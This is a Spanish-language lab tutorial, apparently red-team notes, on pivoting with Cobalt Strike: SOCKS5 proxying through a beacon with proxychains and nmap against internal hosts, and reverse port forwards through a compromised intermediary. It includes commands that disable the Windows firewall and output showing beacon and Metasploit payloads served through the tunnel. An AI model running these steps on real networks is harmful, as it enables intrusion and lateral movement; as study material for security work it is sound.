SOCKS and Port Forward

Un sock proxy (o SOCKS proxy) es un tipo de servidor intermediario que permite que los datos de una red se envíen a través de él para ocultar la dirección IP del usuario o redirigir el tráfico. La sigla SOCKS significa Socket Secure.

El port forward (o reenvío de puertos) es una técnica de redes que permite redirigir el tráfico de una red externa hacia una dirección y puerto específicos dentro de una red local (como una red doméstica o empresarial). Esto es útil cuando se necesita que dispositivos o servicios dentro de una red privada sean accesibles desde el exterior, por ejemplo, a través de internet.

SOCKS Proxies

Existen diferentes versiones de SOCKS, como SOCKS4 y SOCKS5, siendo SOCKS5 la más avanzada, ya que ofrece características adicionales como autenticación y soporte para UDP, lo que mejora la seguridad y la compatibilidad.

TCP / UDP

Para inicar el sock proxy ejecutamos el siguiente comando en nuestro cobalt strike.

socks 1080 socks5
[03/06 12:08:30] [+] started SOCKS5 server on: 1080
[03/06 12:08:32] [+] host called home, sent: 16 bytes

Por default el servicio socks utiliza el puerto 1080 para comunicarse. Podemos confirmar que se abrio el puerto localmente.

ss -lnpt
State         Recv-Q        Send-Q               Local Address:Port                Peer Address:Port       Process                                                             
LISTEN        0             32                               *:50050                          *:*           users:(("TeamServerImage",pid=3056,fd=3))        
LISTEN        0             50                               *:80                             *:*           users:(("TeamServerImage",pid=3056,fd=8))        
LISTEN        0             128                              *:1080                           *:*           users:(("TeamServerImage",pid=3056,fd=6))

Configuramos el archivo /etc/proxychains4.conf de la siguiente forma:

  • Descomentamos la linea dynamic_chain
  • Comentamos la linea strict chain
  • Agregramos la linea al final del archivo socks5
/etc/proxychains4.conf
... 
<SNIP>
...
#
dynamic_chain
#
# Dynamic - Each connection will be done via chained proxies
# all proxies chained in the order as they appear in the list
# at least one proxy must be online to play in chain
# (dead proxies are skipped)
# otherwise EINTR is returned to the app
#
#strict_chain
#
...
<SNIP>
...
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4         127.0.0.1 9050
socks5          127.0.0.1 1080

Ahora podemos alcanzar los servicios internos que se encuentran en otros segmentos de red utilizando proxychains.

proxychains -q nmap -sT -p 53,88,445,5985 192.168.217.128
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-06 12:16 EST
Nmap scan report for 192.168.217.128
Host is up (0.025s latency).

PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
445/tcp  open  microsoft-ds
5985/tcp open  wsman

HTTP

Tambien es posible realizar socks proxies atraves de HTTP. Utilizando la herramienta FoxyProxy para configurar el proxy.

Ahora podemos acceder al servidor web interno.

Note

Para dentener SOCKS proxy utiliza el comando socks stop o View -> Proxy Pivots -> Stop.

Reverse Port Forward

El Remote Port Forwarding (Reenvío de Puertos Remoto) es una técnica que permite redirigir tráfico desde un servidor remoto a un dispositivo local o a otro equipo dentro de una red privada.

Si hemos comprometido un host intermediario lo podemos utilizar de tunel para que un dispositivo alcance nuestro cobalt strike o algun servicio en nuestro team server.

rportfwd 8080 192.168.147.129 5555

Desgloce de comando:

  • 8080 - Puerto que abrira en la maquina intermediaria
  • 192.168.147.129 - IP del Team Server
  • 5555 - Puerto que abrira en el Team Server

Note

Hay que crear una regla en el firewall para el puerto que se esta utilizando en la maquina intermediaria o directemante desactivar el firewall.
netsh advfirewall firewall add rule name= "Open Port 8080" dir=in action=allow protocol=TCP localport=8080
run netsh advfirewall set allprofiles state off

El funcionamiento es el siguiente:

beacon> rportfwd 8080 192.168.147.129 5555
[+] started reverse port forward on 8080 to 192.168.147.129:5555
[*] Tasked beacon to forward port 8080 to 192.168.147.129:5555
[+] host called home, sent: 10 bytes

Comprobamos que se abrio el puerto correctamente.

run netstat -anp tcp
Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    0.0.0.0:8080           0.0.0.0:0              LISTENING

En este caso utilizamos el puerto 5555 que tiene que estar abierto en nuestro TeamServer. Para realizar una prueba rapida levantamos un web server con python.

┌──(root㉿kali)-[~/Downloads]
└─# python3 -m http.server 5555
Serving HTTP on 0.0.0.0 port 5555 (http://0.0.0.0:5555/) ...

Ahora comprobamos el acceso desde la maquina que no alcanza nuestro TeamServer directamente. Utilizando curl especificamos la IP de nuestro servidor intermediario y el puerto que abrimos (8080). Es posible acceder correctamente.

C:\Users\Administrator>curl 169.254.35.167:8080
<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
<hr>
<ul>
<li><a href="beacon_x64.bin">beacon_x64.bin</a></li>
<li><a href="beacon_x64.exe">beacon_x64.exe</a></li>
<li><a href="msf.bin">msf.bin</a></li>
</ul>
<hr>
</body>
</html>

Reverse Local Port Forward

Tambien se puede realizar un local remote port forward la diferencia radica que mientras rportfwd crear un tunel al TeamServer rportfwd_local crea un tunel a la maquina que esta ejecutando el Cobalt Strike Client.

Para realizar la prueba creamos un servidor python en la maquina donde esta el Cobalt Strike Client.

┌──(root㉿kali)-[~/Downloads]
└─# python3 -m http.server --bind 127.0.0.1 8080 
Serving HTTP on 127.0.0.1 port 8080 (http://127.0.0.1:8080/) ...

Creamos el tunel en Cobalt Strike.

rportfwd_local 8080 127.0.0.1 8080

Consultamos que el tunel es exitoso haciendo un curl desde la maquina que no alcanza nuestro servicio directamente.

C:\Users\Administrator>curl -i 169.254.35.167:8080
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.13.2
Date: Fri, 07 Mar 2025 10:21:15 GMT
Content-type: text/html; charset=utf-8
Content-Length: 426

<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
<hr>
<ul>
<li><a href=".fr-Hg5E9V/">.fr-Hg5E9V/</a></li>
<li><a href=".fr-lc296e/">.fr-lc296e/</a></li>
<li><a href="beacon_x64.bin">beacon_x64.bin</a></li>
<li><a href="beacon_x64.exe">beacon_x64.exe</a></li>
<li><a href="msf.bin">msf.bin</a></li>
</ul>
<hr>

Para deneter el servicio utilizamos los siguientes comandos respectivamente.

rportfwd stop 8080
rportfwd_local stop 8080